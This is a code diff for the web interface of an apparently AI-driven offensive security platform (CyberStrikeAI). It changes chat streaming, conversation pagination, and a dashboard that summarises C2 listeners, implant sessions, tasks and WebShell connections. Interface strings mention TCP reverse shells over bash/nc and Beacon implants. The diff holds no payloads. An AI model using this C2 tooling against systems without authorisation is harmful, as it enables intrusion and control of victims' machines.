"uploadTcpReverse": "当前为 TCP 反弹 Shell(bash/nc),仅支持命令与下载。上传请改用:① 同一监听器下编译 CSB1 Beacon,或 ② HTTP/HTTPS Beacon 重新上线。",
|
||||
"loading": "加载中…",
|
||||
"timeout": "加载文件超时",
|
||||
"emptyDir": "空目录",
|
||||
@@ -2541,6 +2578,7 @@
|
||||
"colActions": "操作",
|
||||
"open": "打开",
|
||||
"download": "下载",
|
||||
"downloadOk": "下载成功",
|
||||
"failed": "失败"
|
||||
},
|
||||
"listeners": {
|
||||
@@ -2657,7 +2695,7 @@
|
||||
"confirmDeleteSession": "从服务器删除此会话及其关联任务与文件记录?(不会向植入体发送退出;若需退出目标进程请使用「终止会话」。)",
|
||||
"toastExitSent": "退出指令已发送",
|
||||
"toastSessionDeleted": "会话记录已删除",
|
||||
"terminalWelcome": "CyberStrikeAI C2 终端 — AI-Native 命令与控制",
|
||||
"terminalWelcome": "CyberStrikeAI C2 终端 — 回车执行;↑↓ 历史;Ctrl+L 清屏;Ctrl+C 取消输入",
|
||||
"termStatusReady": "就绪",
|
||||
"termStatusExec": "执行中…",
|
||||
"termStatusErr": "错误",
|
||||
@@ -2666,6 +2704,9 @@
|
||||
"termWaitTimeout": "[等待结果超时]",
|
||||
"termCleared": "终端已清屏",
|
||||
"termNoSelection": "未选中文本",
|
||||
"termWaitFinish": "请等待当前命令执行完成",
|
||||
"termCtrlC": "当前版本暂不支持中断远程命令",
|
||||
"termQueued": "[命令已加入队列,将在当前任务完成后执行]",
|
||||
"clearTerminal": "清屏"
|
||||
},
|
||||
"tasks": {
|
||||
@@ -2692,6 +2733,7 @@
|
||||
"colTask": "任务",
|
||||
"colSession": "会话",
|
||||
"colType": "类型",
|
||||
"colCommand": "命令",
|
||||
"colStatus": "状态",
|
||||
"colDuration": "耗时",
|
||||
"colCreated": "创建时间",
|
||||
@@ -2702,6 +2744,8 @@
|
||||
"labelId": "ID",
|
||||
"labelSession": "会话",
|
||||
"labelType": "类型",
|
||||
"labelCommand": "命令",
|
||||
"labelPayload": "参数",
|
||||
"labelStatus": "状态",
|
||||
"labelCreated": "创建时间",
|
||||
"labelSent": "发送时间",
|
||||
|
||||
+1087
-154
File diff suppressed because it is too large
Load Diff
+266
-44
@@ -423,10 +423,28 @@ if (typeof window !== 'undefined') {
|
||||
window.updateHitlStatusUI = updateHitlStatusUI;
|
||||
}
|
||||
|
||||
function syncHitlSidebarAriaExpanded() {
|
||||
var card = document.getElementById('hitl-sidebar-card');
|
||||
var toggle = document.getElementById('hitl-sidebar-toggle');
|
||||
if (!card || !toggle) return;
|
||||
toggle.setAttribute('aria-expanded', card.classList.contains('hitl-sidebar-collapsed') ? 'false' : 'true');
|
||||
}
|
||||
|
||||
function closeHitlSidebarCard() {
|
||||
var card = document.getElementById('hitl-sidebar-card');
|
||||
if (!card || card.classList.contains('hitl-sidebar-collapsed')) return;
|
||||
card.classList.add('hitl-sidebar-collapsed');
|
||||
syncHitlSidebarAriaExpanded();
|
||||
try {
|
||||
localStorage.setItem('hitl-sidebar-collapsed', '1');
|
||||
} catch (e) {}
|
||||
}
|
||||
|
||||
function toggleHitlSidebarCard() {
|
||||
var card = document.getElementById('hitl-sidebar-card');
|
||||
if (!card) return;
|
||||
card.classList.toggle('hitl-sidebar-collapsed');
|
||||
syncHitlSidebarAriaExpanded();
|
||||
try {
|
||||
localStorage.setItem('hitl-sidebar-collapsed', card.classList.contains('hitl-sidebar-collapsed') ? '1' : '0');
|
||||
} catch (e) {}
|
||||
@@ -438,6 +456,7 @@ document.addEventListener('DOMContentLoaded', function () {
|
||||
if (card && localStorage.getItem('hitl-sidebar-collapsed') === '0') {
|
||||
card.classList.remove('hitl-sidebar-collapsed');
|
||||
}
|
||||
syncHitlSidebarAriaExpanded();
|
||||
});
|
||||
|
||||
function getAgentModeLabelForValue(mode) {
|
||||
@@ -963,6 +982,24 @@ async function sendMessage() {
|
||||
const reader = response.body.getReader();
|
||||
const decoder = new TextDecoder();
|
||||
let buffer = '';
|
||||
const dispatchStreamEvent = function (eventData) {
|
||||
handleStreamEvent(eventData, progressElement, progressId,
|
||||
() => assistantMessageId, (id) => { assistantMessageId = id; },
|
||||
() => mcpExecutionIds, (ids) => { mcpExecutionIds = ids; });
|
||||
};
|
||||
const processSseLines = typeof processSseDataLinesYielding === 'function'
|
||||
? processSseDataLinesYielding
|
||||
: async function (lines, onEvent) {
|
||||
for (const line of lines) {
|
||||
if (line.startsWith('data: ')) {
|
||||
try {
|
||||
onEvent(JSON.parse(line.slice(6)));
|
||||
} catch (e) {
|
||||
console.error('解析事件数据失败:', e, line);
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
while (true) {
|
||||
const { done, value } = await reader.read();
|
||||
@@ -972,18 +1009,7 @@ async function sendMessage() {
|
||||
const lines = buffer.split('\n');
|
||||
buffer = lines.pop(); // 保留最后一个不完整的行
|
||||
|
||||
for (const line of lines) {
|
||||
if (line.startsWith('data: ')) {
|
||||
try {
|
||||
const eventData = JSON.parse(line.slice(6));
|
||||
handleStreamEvent(eventData, progressElement, progressId,
|
||||
() => assistantMessageId, (id) => { assistantMessageId = id; },
|
||||
() => mcpExecutionIds, (ids) => { mcpExecutionIds = ids; });
|
||||
} catch (e) {
|
||||
console.error('解析事件数据失败:', e, line);
|
||||
}
|
||||
}
|
||||
}
|
||||
await processSseLines(lines, dispatchStreamEvent);
|
||||
}
|
||||
// Flush decoder internal buffer to avoid losing the final partial UTF-8 code point.
|
||||
buffer += decoder.decode();
|
||||
@@ -991,18 +1017,7 @@ async function sendMessage() {
|
||||
// 处理剩余的buffer
|
||||
if (buffer.trim()) {
|
||||
const lines = buffer.split('\n');
|
||||
for (const line of lines) {
|
||||
if (line.startsWith('data: ')) {
|
||||
try {
|
||||
const eventData = JSON.parse(line.slice(6));
|
||||
handleStreamEvent(eventData, progressElement, progressId,
|
||||
() => assistantMessageId, (id) => { assistantMessageId = id; },
|
||||
() => mcpExecutionIds, (ids) => { mcpExecutionIds = ids; });
|
||||
} catch (e) {
|
||||
console.error('解析事件数据失败:', e, line);
|
||||
}
|
||||
}
|
||||
}
|
||||
await processSseLines(lines, dispatchStreamEvent);
|
||||
}
|
||||
} finally {
|
||||
window.__csAgentLiveStream = { active: false, conversationId: null, progressId: null };
|
||||
@@ -2365,6 +2380,10 @@ function renderProcessDetails(messageId, processDetails) {
|
||||
itemTitle = agPx + execLine;
|
||||
} else if (eventType === 'eino_agent_reply') {
|
||||
itemTitle = agPx + '💬 ' + (typeof window.t === 'function' ? window.t('chat.einoAgentReplyTitle') : '子代理回复');
|
||||
} else if (eventType === 'eino_empty_response_continue') {
|
||||
itemTitle = typeof window.t === 'function'
|
||||
? window.t('chat.einoEmptyResponseContinueTitle')
|
||||
: '🔁 自动续跑(无助手正文)';
|
||||
} else if (eventType === 'eino_run_retry') {
|
||||
itemTitle = typeof window.t === 'function'
|
||||
? window.t('chat.einoRunRetryTitle')
|
||||
@@ -2920,6 +2939,8 @@ function createConversationListItem(conversation) {
|
||||
// 处理历史记录搜索
|
||||
let conversationSearchTimer = null;
|
||||
function handleConversationSearch(query) {
|
||||
conversationsPagination.page = 1;
|
||||
conversationsSearchQuery = query || '';
|
||||
// 防抖处理,避免频繁请求
|
||||
if (conversationSearchTimer) {
|
||||
clearTimeout(conversationSearchTimer);
|
||||
@@ -2953,6 +2974,8 @@ function clearConversationSearch() {
|
||||
clearBtn.style.display = 'none';
|
||||
}
|
||||
|
||||
conversationsPagination.page = 1;
|
||||
conversationsSearchQuery = '';
|
||||
loadConversations('');
|
||||
}
|
||||
|
||||
@@ -3346,7 +3369,7 @@ async function deleteConversationTurnFromUI(anchorBackendMessageId) {
|
||||
async function deleteConversation(conversationId, skipConfirm = false) {
|
||||
// 确认删除(如果调用者没有跳过确认)
|
||||
if (!skipConfirm) {
|
||||
if (!confirm('确定要删除这个对话吗?此操作不可恢复。')) {
|
||||
if (!confirm('确定要删除这个对话吗?对话消息将不可恢复,但已记录的漏洞会保留在漏洞库中。')) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
@@ -3389,6 +3412,21 @@ async function deleteConversation(conversationId, skipConfirm = false) {
|
||||
} else if (typeof loadConversations === 'function') {
|
||||
loadConversations();
|
||||
}
|
||||
|
||||
// 批量管理弹窗打开时,同步刷新弹窗内列表
|
||||
const batchModal = document.getElementById('batch-manage-modal');
|
||||
if (batchModal && batchModal.style.display === 'flex') {
|
||||
allConversationsForBatch = allConversationsForBatch.filter(c => c.id !== conversationId);
|
||||
updateBatchManageTitle(allConversationsForBatch.length);
|
||||
const searchInput = document.getElementById('batch-search-input');
|
||||
const query = searchInput ? searchInput.value : '';
|
||||
if (query && query.trim()) {
|
||||
filterBatchConversations(query);
|
||||
} else {
|
||||
renderBatchConversations();
|
||||
}
|
||||
}
|
||||
|
||||
// 通知其他模块(如 WebShell AI 助手)同步删除,保持列表一致
|
||||
try {
|
||||
document.dispatchEvent(new CustomEvent('conversation-deleted', { detail: { conversationId } }));
|
||||
@@ -5589,6 +5627,168 @@ let groupsCache = [];
|
||||
let conversationGroupMappingCache = {};
|
||||
let pendingGroupMappings = {}; // 待保留的分组映射(用于处理后端API延迟的情况)
|
||||
let conversationsListLoadSeq = 0; // 对话列表加载序号,避免并发请求导致重复渲染
|
||||
const CONVERSATIONS_PAGE_SIZE_KEY = 'cyberstrike.conversations_page_size';
|
||||
|
||||
function getConversationsPageSize() {
|
||||
try {
|
||||
const saved = parseInt(localStorage.getItem(CONVERSATIONS_PAGE_SIZE_KEY), 10);
|
||||
if ([20, 50, 100].includes(saved)) return saved;
|
||||
} catch (e) { /* ignore */ }
|
||||
return 50;
|
||||
}
|
||||
|
||||
let conversationsPagination = { page: 1, pageSize: getConversationsPageSize(), total: 0 };
|
||||
let conversationsSearchQuery = '';
|
||||
|
||||
function parseListTotalValue(raw, itemsLength) {
|
||||
if (typeof raw === 'number' && Number.isFinite(raw) && raw >= 0) return raw;
|
||||
if (raw != null && raw !== '') {
|
||||
const n = parseInt(String(raw), 10);
|
||||
if (Number.isFinite(n) && n >= 0) return n;
|
||||
}
|
||||
return itemsLength;
|
||||
}
|
||||
|
||||
function parseListOffsetValue(raw) {
|
||||
if (typeof raw === 'number' && Number.isFinite(raw) && raw >= 0) return raw;
|
||||
if (raw != null && raw !== '') {
|
||||
const n = parseInt(String(raw), 10);
|
||||
if (Number.isFinite(n) && n >= 0) return n;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
function parseConversationsListResponse(data) {
|
||||
if (Array.isArray(data)) {
|
||||
return { items: data, total: data.length, limit: data.length, offset: 0, isLegacyArray: true };
|
||||
}
|
||||
const items = data.conversations || data.items || [];
|
||||
const arr = Array.isArray(items) ? items : [];
|
||||
return {
|
||||
items: arr,
|
||||
total: parseListTotalValue(data.total, arr.length),
|
||||
limit: parseListTotalValue(data.limit, arr.length) || arr.length,
|
||||
offset: parseListOffsetValue(data.offset),
|
||||
isLegacyArray: false,
|
||||
};
|
||||
}
|
||||
|
||||
async function resolveConversationsListTotal(params, parsed, pageSize, offset) {
|
||||
const serverTotal = parsed.total;
|
||||
if (!parsed.isLegacyArray && serverTotal > offset + parsed.items.length) {
|
||||
return serverTotal;
|
||||
}
|
||||
if (parsed.items.length < pageSize) {
|
||||
return Math.max(serverTotal, offset + parsed.items.length);
|
||||
}
|
||||
const probe = new URLSearchParams(params);
|
||||
probe.set('offset', String(offset + pageSize));
|
||||
probe.set('limit', '1');
|
||||
try {
|
||||
const res = await apiFetch(`/api/conversations?${probe}`);
|
||||
if (!res.ok) return Math.max(serverTotal, offset + parsed.items.length);
|
||||
const probeParsed = parseConversationsListResponse(await res.json());
|
||||
if (probeParsed.total > serverTotal) return probeParsed.total;
|
||||
if (probeParsed.items.length > 0) {
|
||||
return Math.max(serverTotal, offset + pageSize + 1);
|
||||
}
|
||||
} catch (e) { /* ignore */ }
|
||||
return Math.max(serverTotal, offset + parsed.items.length);
|
||||
}
|
||||
|
||||
async function fetchAllConversations(searchQuery) {
|
||||
let all = [];
|
||||
const pageSize = 200;
|
||||
let offset = 0;
|
||||
let total = Infinity;
|
||||
const search = (searchQuery || '').trim();
|
||||
while (all.length < total) {
|
||||
const params = new URLSearchParams({ limit: String(pageSize), offset: String(offset) });
|
||||
if (search) params.set('search', search);
|
||||
const res = await apiFetch(`/api/conversations?${params}`);
|
||||
if (!res.ok) throw new Error('load conversations failed');
|
||||
const parsed = parseConversationsListResponse(await res.json());
|
||||
all = all.concat(parsed.items);
|
||||
total = parsed.total;
|
||||
if (!parsed.items.length) break;
|
||||
offset += parsed.items.length;
|
||||
}
|
||||
return all;
|
||||
}
|
||||
|
||||
function getConversationListEmptyHtml() {
|
||||
return '<div class="conversations-list-empty" data-i18n="chat.noHistoryConversations"></div>';
|
||||
}
|
||||
|
||||
function renderConversationsPagination(visibleCount) {
|
||||
const el = document.getElementById('conversations-pagination');
|
||||
if (!el) return;
|
||||
const { page, pageSize, total } = conversationsPagination;
|
||||
const count = typeof visibleCount === 'number' ? visibleCount : (conversationsPagination.visibleCount || 0);
|
||||
conversationsPagination.visibleCount = count;
|
||||
|
||||
if (count === 0 || total === 0) {
|
||||
el.innerHTML = '';
|
||||
el.hidden = true;
|
||||
return;
|
||||
}
|
||||
|
||||
const totalPages = Math.max(1, Math.ceil(total / pageSize) || 1);
|
||||
const navDisabled = totalPages <= 1;
|
||||
el.hidden = false;
|
||||
const start = (page - 1) * pageSize + 1;
|
||||
const end = Math.min(page * pageSize, total);
|
||||
const tFn = typeof window.t === 'function' ? window.t.bind(window) : null;
|
||||
const infoText = tFn
|
||||
? tFn('chat.paginationRange', { start, end, total })
|
||||
: `${start}-${end}/${total}`;
|
||||
const pageText = tFn
|
||||
? tFn('chat.paginationPage', { page, total: totalPages })
|
||||
: `${page}/${totalPages}`;
|
||||
const perPageLabel = tFn ? tFn('chat.paginationPerPage') : 'Per page';
|
||||
const prevLabel = tFn ? tFn('chat.paginationPrev') : 'Prev';
|
||||
const nextLabel = tFn ? tFn('chat.paginationNext') : 'Next';
|
||||
el.innerHTML = `
|
||||
<div class="sidebar-list-pagination-inner sidebar-list-pagination-inner--compact">
|
||||
<span class="pagination-info">${escapeHtml(infoText)}</span>
|
||||
<div class="pagination-controls">
|
||||
<button type="button" class="btn-icon-pagination" onclick="goConversationsPage(${page - 1})" ${page <= 1 || navDisabled ? 'disabled' : ''} title="${escapeHtml(prevLabel)}" aria-label="${escapeHtml(prevLabel)}">‹</button>
|
||||
<span class="pagination-page">${escapeHtml(pageText)}</span>
|
||||
<button type="button" class="btn-icon-pagination" onclick="goConversationsPage(${page + 1})" ${page >= totalPages || navDisabled ? 'disabled' : ''} title="${escapeHtml(nextLabel)}" aria-label="${escapeHtml(nextLabel)}">›</button>
|
||||
</div>
|
||||
<label class="pagination-page-size">
|
||||
${escapeHtml(perPageLabel)}
|
||||
<select id="conversations-page-size-pagination" onchange="changeConversationsPageSize()">
|
||||
<option value="20" ${pageSize === 20 ? 'selected' : ''}>20</option>
|
||||
<option value="50" ${pageSize === 50 ? 'selected' : ''}>50</option>
|
||||
<option value="100" ${pageSize === 100 ? 'selected' : ''}>100</option>
|
||||
</select>
|
||||
</label>
|
||||
</div>`;
|
||||
}
|
||||
|
||||
function goConversationsPage(page) {
|
||||
const totalPages = Math.max(1, Math.ceil((conversationsPagination.total || 0) / conversationsPagination.pageSize) || 1);
|
||||
const next = Math.min(Math.max(1, page), totalPages);
|
||||
if (next === conversationsPagination.page) return;
|
||||
conversationsPagination.page = next;
|
||||
loadConversationsWithGroups(conversationsSearchQuery);
|
||||
}
|
||||
|
||||
function changeConversationsPageSize() {
|
||||
const sel = document.getElementById('conversations-page-size-pagination');
|
||||
const newSize = sel ? parseInt(sel.value, 10) : 50;
|
||||
if (![20, 50, 100].includes(newSize)) return;
|
||||
try {
|
||||
localStorage.setItem(CONVERSATIONS_PAGE_SIZE_KEY, String(newSize));
|
||||
} catch (e) { /* ignore */ }
|
||||
conversationsPagination.pageSize = newSize;
|
||||
conversationsPagination.page = 1;
|
||||
loadConversationsWithGroups(conversationsSearchQuery);
|
||||
}
|
||||
|
||||
window.goConversationsPage = goConversationsPage;
|
||||
window.changeConversationsPageSize = changeConversationsPageSize;
|
||||
|
||||
// 加载分组列表
|
||||
async function loadGroups() {
|
||||
@@ -5685,12 +5885,17 @@ async function loadGroups() {
|
||||
async function loadConversationsWithGroups(searchQuery = '') {
|
||||
const loadSeq = ++conversationsListLoadSeq;
|
||||
try {
|
||||
// 并行加载分组列表、分组映射和对话列表(消除串行等待)
|
||||
const limit = (searchQuery && searchQuery.trim()) ? 100 : 100;
|
||||
let url = `/api/conversations?limit=${limit}`;
|
||||
conversationsSearchQuery = searchQuery || '';
|
||||
conversationsPagination.pageSize = getConversationsPageSize();
|
||||
const pageSize = conversationsPagination.pageSize;
|
||||
const offset = (conversationsPagination.page - 1) * pageSize;
|
||||
const convParams = new URLSearchParams({ limit: String(pageSize), offset: String(offset) });
|
||||
if (searchQuery && searchQuery.trim()) {
|
||||
url += '&search=' + encodeURIComponent(searchQuery.trim());
|
||||
convParams.set('search', searchQuery.trim());
|
||||
} else {
|
||||
convParams.set('exclude_grouped', 'true');
|
||||
}
|
||||
const url = `/api/conversations?${convParams}`;
|
||||
const [,, response] = await Promise.all([
|
||||
loadGroups(),
|
||||
loadConversationGroupMapping(),
|
||||
@@ -5707,23 +5912,26 @@ async function loadConversationsWithGroups(searchQuery = '') {
|
||||
const sidebarContent = listContainer.closest('.sidebar-content');
|
||||
const savedScrollTop = sidebarContent ? sidebarContent.scrollTop : 0;
|
||||
|
||||
const emptyStateHtml = '<div style="padding: 20px; text-align: center; color: var(--text-muted); font-size: 0.875rem;" data-i18n="chat.noHistoryConversations"></div>';
|
||||
const emptyStateHtml = getConversationListEmptyHtml();
|
||||
listContainer.innerHTML = '';
|
||||
|
||||
// 如果响应不是200,显示空状态(友好处理,不显示错误)
|
||||
if (!response.ok) {
|
||||
listContainer.innerHTML = emptyStateHtml;
|
||||
if (typeof window.applyTranslations === 'function') window.applyTranslations(listContainer);
|
||||
renderConversationsPagination(0);
|
||||
return;
|
||||
}
|
||||
|
||||
const conversations = await response.json();
|
||||
const data = await response.json();
|
||||
if (loadSeq !== conversationsListLoadSeq) return;
|
||||
const parsed = parseConversationsListResponse(data);
|
||||
conversationsPagination.total = await resolveConversationsListTotal(convParams, parsed, pageSize, offset);
|
||||
|
||||
// 双重保险:后端或并发情况下若出现重复ID,前端按ID去重
|
||||
const uniqueConversations = [];
|
||||
const seenConversationIds = new Set();
|
||||
(Array.isArray(conversations) ? conversations : []).forEach(conv => {
|
||||
parsed.items.forEach(conv => {
|
||||
if (!conv || !conv.id || seenConversationIds.has(conv.id)) {
|
||||
return;
|
||||
}
|
||||
@@ -5734,6 +5942,7 @@ async function loadConversationsWithGroups(searchQuery = '') {
|
||||
if (uniqueConversations.length === 0) {
|
||||
listContainer.innerHTML = emptyStateHtml;
|
||||
if (typeof window.applyTranslations === 'function') window.applyTranslations(listContainer);
|
||||
renderConversationsPagination(0);
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -5844,15 +6053,29 @@ async function loadConversationsWithGroups(searchQuery = '') {
|
||||
fragment.appendChild(section);
|
||||
});
|
||||
|
||||
const visibleCount = pinnedConvs.length + Object.values(groups).reduce((n, arr) => n + (arr ? arr.length : 0), 0);
|
||||
conversationsPagination.visibleCount = visibleCount;
|
||||
|
||||
if (!hasSearchQuery && visibleCount === 0 && parsed.items.length > 0) {
|
||||
const totalPages = Math.max(1, Math.ceil(parsed.total / pageSize));
|
||||
if (conversationsPagination.page < totalPages) {
|
||||
conversationsPagination.page += 1;
|
||||
loadConversationsWithGroups(searchQuery);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
if (fragment.children.length === 0) {
|
||||
listContainer.innerHTML = emptyStateHtml;
|
||||
if (typeof window.applyTranslations === 'function') window.applyTranslations(listContainer);
|
||||
renderConversationsPagination(0);
|
||||
return;
|
||||
}
|
||||
|
||||
if (loadSeq !== conversationsListLoadSeq) return;
|
||||
listContainer.appendChild(fragment);
|
||||
updateActiveConversation();
|
||||
renderConversationsPagination(visibleCount);
|
||||
|
||||
// 恢复滚动位置
|
||||
if (sidebarContent) {
|
||||
@@ -5869,9 +6092,9 @@ async function loadConversationsWithGroups(searchQuery = '') {
|
||||
// 错误时显示空状态,而不是错误提示(更友好的用户体验)
|
||||
const listContainer = document.getElementById('conversations-list');
|
||||
if (listContainer) {
|
||||
const emptyStateHtml = '<div style="padding: 20px; text-align: center; color: var(--text-muted); font-size: 0.875rem;" data-i18n="chat.noHistoryConversations"></div>';
|
||||
listContainer.innerHTML = emptyStateHtml;
|
||||
listContainer.innerHTML = getConversationListEmptyHtml();
|
||||
if (typeof window.applyTranslations === 'function') window.applyTranslations(listContainer);
|
||||
renderConversationsPagination(0);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -6985,15 +7208,7 @@ function updateBatchManageTitle(count) {
|
||||
|
||||
async function showBatchManageModal() {
|
||||
try {
|
||||
const response = await apiFetch('/api/conversations?limit=1000');
|
||||
|
||||
// 如果响应不是200,使用空数组(友好处理,不显示错误)
|
||||
if (!response.ok) {
|
||||
allConversationsForBatch = [];
|
||||
} else {
|
||||
const data = await response.json();
|
||||
allConversationsForBatch = Array.isArray(data) ? data : [];
|
||||
}
|
||||
allConversationsForBatch = await fetchAllConversations('');
|
||||
|
||||
const modal = document.getElementById('batch-manage-modal');
|
||||
updateBatchManageTitle(allConversationsForBatch.length);
|
||||
@@ -7394,7 +7609,7 @@ document.addEventListener('languagechange', function () {
|
||||
refreshHitlConfigByCurrentConversation();
|
||||
});
|
||||
|
||||
// 点击外部关闭图标选择器、对话模式面板
|
||||
// 点击外部关闭图标选择器、对话模式面板、侧栏折叠卡片
|
||||
document.addEventListener('click', function(event) {
|
||||
const picker = document.getElementById('group-icon-picker');
|
||||
const iconBtn = document.getElementById('create-group-icon-btn');
|
||||
@@ -7420,6 +7635,13 @@ document.addEventListener('click', function(event) {
|
||||
closeChatReasoningPanel();
|
||||
}
|
||||
}
|
||||
|
||||
const hitlCard = document.getElementById('hitl-sidebar-card');
|
||||
if (hitlCard && !hitlCard.classList.contains('hitl-sidebar-collapsed')) {
|
||||
if (!hitlCard.contains(event.target)) {
|
||||
closeHitlSidebarCard();
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
// 创建分组
|
||||
|
||||
+388
-63
@@ -21,6 +21,9 @@ var dashboardState = {
|
||||
lastUpdatedAt: 0, // 上次成功刷新的时间戳(ms)
|
||||
dismissedAlertKey: null, // 当前会话中被用户「×」掉的告警内容指纹(同样的 reasons 不再弹)
|
||||
lastResources: null, // 上一轮关键资源快照,用于判断是否首次有数据 / 智能 CTA
|
||||
recentFeedTab: 'vulns', // 最近漏洞 / 近期事实 Tab
|
||||
accessTab: 'c2', // 接入概览 Tab:c2 | webshell
|
||||
lastProjectSummary: null, // 最近一次项目仪表盘摘要(供 Tab 切换时重绘)
|
||||
};
|
||||
|
||||
async function refreshDashboard() {
|
||||
@@ -57,9 +60,14 @@ async function refreshDashboard() {
|
||||
hideEl('dashboard-kpi-vuln-critical-badge');
|
||||
hideEl('dashboard-alert-banner');
|
||||
setRecentVulnsLoading();
|
||||
['tools', 'skills', 'knowledge', 'roles', 'agents', 'webshell'].forEach(function (k) {
|
||||
setRecentFactsLoading();
|
||||
['tools', 'skills', 'knowledge', 'roles', 'agents'].forEach(function (k) {
|
||||
setEl('dashboard-resource-' + k, '…');
|
||||
});
|
||||
setEl('dashboard-webshell-connections', '…');
|
||||
setEl('dashboard-c2-listeners-running', '…');
|
||||
setEl('dashboard-c2-sessions-online', '…');
|
||||
setEl('dashboard-c2-tasks-pending', '…');
|
||||
var chartPlaceholder = document.getElementById('dashboard-tools-pie-placeholder');
|
||||
if (chartPlaceholder) { chartPlaceholder.style.removeProperty('display'); chartPlaceholder.textContent = (typeof window.t === 'function' ? window.t('common.loading') : '加载中…'); }
|
||||
var barChartEl = document.getElementById('dashboard-tools-bar-chart');
|
||||
@@ -104,7 +112,8 @@ async function refreshDashboard() {
|
||||
openCriticalRes, openHighRes, openMediumRes, openLowRes, toolsConfigRes,
|
||||
hitlPendingRes, notificationsRes, externalMcpStatsRes,
|
||||
webshellRes,
|
||||
c2ListenersRes, c2SessionsRes, c2TasksRes
|
||||
c2ListenersRes, c2SessionsRes, c2TasksRes,
|
||||
projectSummaryRes
|
||||
] = await Promise.all([
|
||||
fetchJson('/api/agent-loop/tasks'),
|
||||
fetchJson('/api/vulnerabilities/stats'),
|
||||
@@ -112,7 +121,7 @@ async function refreshDashboard() {
|
||||
fetchJson('/api/monitor/stats'),
|
||||
fetchJson('/api/knowledge/stats'),
|
||||
fetchJson('/api/skills/stats'),
|
||||
fetchJson('/api/vulnerabilities?limit=5&page=1'),
|
||||
fetchJson('/api/vulnerabilities?limit=10&page=1'),
|
||||
fetchJson('/api/roles'),
|
||||
fetchJson('/api/multi-agent/markdown-agents'),
|
||||
openVulnQuery('critical'),
|
||||
@@ -122,7 +131,7 @@ async function refreshDashboard() {
|
||||
openVulnQuery('low'),
|
||||
// 拉取 MCP 工具的「配置总数」用于「能力总览」(区别于 monitor/stats 的「有调用记录」)。
|
||||
// 仅取 total 字段,page_size=1 减少传输;total 已涵盖内部 + 外部 MCP + 直接注册的工具。
|
||||
fetchJson('/api/config/tools?page=1&page_size=1'),
|
||||
fetchJson('/api/config/tools?page=1&page_size=1&include_external=false'),
|
||||
// HITL 待审批:用于「需要立即处理」告警条 + 推荐操作
|
||||
fetchJson('/api/hitl/pending'),
|
||||
// 通知摘要:since=0 拿最新一批,limit 控制大小;用于「最近事件」内联展示
|
||||
@@ -134,7 +143,8 @@ async function refreshDashboard() {
|
||||
// C2 仪表盘条:监听器 / 会话 / 待处理任务(任务接口含 pending_queued_count)
|
||||
fetchJson('/api/c2/listeners'),
|
||||
fetchJson('/api/c2/sessions?limit=500'),
|
||||
fetchJson('/api/c2/tasks?page=1&page_size=1')
|
||||
fetchJson('/api/c2/tasks?page=1&page_size=1'),
|
||||
fetchJson('/api/projects/dashboard-summary?fact_limit=10')
|
||||
]);
|
||||
|
||||
// 如果在 await 期间 controller 已被 abort,说明又有新刷新启动了,丢弃本次结果
|
||||
@@ -373,20 +383,10 @@ async function refreshDashboard() {
|
||||
} else {
|
||||
setEl('dashboard-resource-agents', '-');
|
||||
}
|
||||
// WebShell 已建立的连接:/api/webshell/connections 直接返回数组(不带包裹),
|
||||
// 兼容一下 { connections: [...] } 形式以防后续接口变更
|
||||
var webshellList = null;
|
||||
if (Array.isArray(webshellRes)) webshellList = webshellRes;
|
||||
else if (webshellRes && Array.isArray(webshellRes.connections)) webshellList = webshellRes.connections;
|
||||
var webshellCount = webshellList ? webshellList.length : null;
|
||||
if (webshellCount !== null) {
|
||||
setEl('dashboard-resource-webshell', formatNumber(webshellCount));
|
||||
} else {
|
||||
setEl('dashboard-resource-webshell', '-');
|
||||
}
|
||||
|
||||
// 最近漏洞列表
|
||||
renderRecentVulns(recentVulnsRes);
|
||||
dashboardState.lastProjectSummary = projectSummaryRes;
|
||||
renderRecentFacts(projectSummaryRes);
|
||||
|
||||
// External MCP 健康度(同时拿到 down 数喂给 alert banner / 推荐操作)
|
||||
var externalMcpDown = renderExternalMcpHealth(externalMcpStatsRes);
|
||||
@@ -397,8 +397,8 @@ async function refreshDashboard() {
|
||||
// 「最近事件」内联展示(来自通知摘要,过滤掉已经被仪表盘其他位置覆盖的类型)
|
||||
renderRecentEvents(notificationsRes);
|
||||
|
||||
// C2 概览条(监听器 / 在线会话 / 待处理任务)
|
||||
renderDashboardC2Overview(c2ListenersRes, c2SessionsRes, c2TasksRes);
|
||||
// 接入概览(C2 + WebShell)
|
||||
renderDashboardAccessOverview(c2ListenersRes, c2SessionsRes, c2TasksRes, webshellRes);
|
||||
|
||||
// 关键提醒条:把所有可能的告警源(漏洞/HITL/失败率/MCP健康)合并展示
|
||||
renderDashboardAlertBanner({
|
||||
@@ -448,12 +448,13 @@ async function refreshDashboard() {
|
||||
setKpiSubText('dashboard-kpi-vuln-sub-text', '-');
|
||||
setKpiSubText('dashboard-kpi-tools-sub-text', '-');
|
||||
setKpiSubText('dashboard-kpi-rate-sub-text', '-');
|
||||
['tools', 'skills', 'knowledge', 'roles', 'agents', 'webshell'].forEach(function (k) {
|
||||
['tools', 'skills', 'knowledge', 'roles', 'agents'].forEach(function (k) {
|
||||
setEl('dashboard-resource-' + k, '-');
|
||||
});
|
||||
var c2secErr = document.getElementById('dashboard-section-c2');
|
||||
if (c2secErr) c2secErr.hidden = true;
|
||||
var accessSecErr = document.getElementById('dashboard-section-access');
|
||||
if (accessSecErr) accessSecErr.hidden = true;
|
||||
setRecentVulnsError();
|
||||
setRecentFactsError();
|
||||
renderDashboardToolsBar(null);
|
||||
var ph = document.getElementById('dashboard-tools-pie-placeholder');
|
||||
if (ph) { ph.style.removeProperty('display'); ph.textContent = (typeof window.t === 'function' ? window.t('dashboard.noCallData') : '暂无调用数据'); }
|
||||
@@ -467,53 +468,181 @@ async function refreshDashboard() {
|
||||
}
|
||||
}
|
||||
|
||||
/** C2 概览条:依赖 /api/c2/listeners、sessions、tasks;任一路由失败则整块隐藏 */
|
||||
function renderDashboardC2Overview(listenersRes, sessionsRes, tasksRes) {
|
||||
var section = document.getElementById('dashboard-section-c2');
|
||||
/** 接入概览:C2 / WebShell Tab 切换;C2 禁用时仅保留 WebShell Tab */
|
||||
function renderDashboardAccessOverview(listenersRes, sessionsRes, tasksRes, webshellRes) {
|
||||
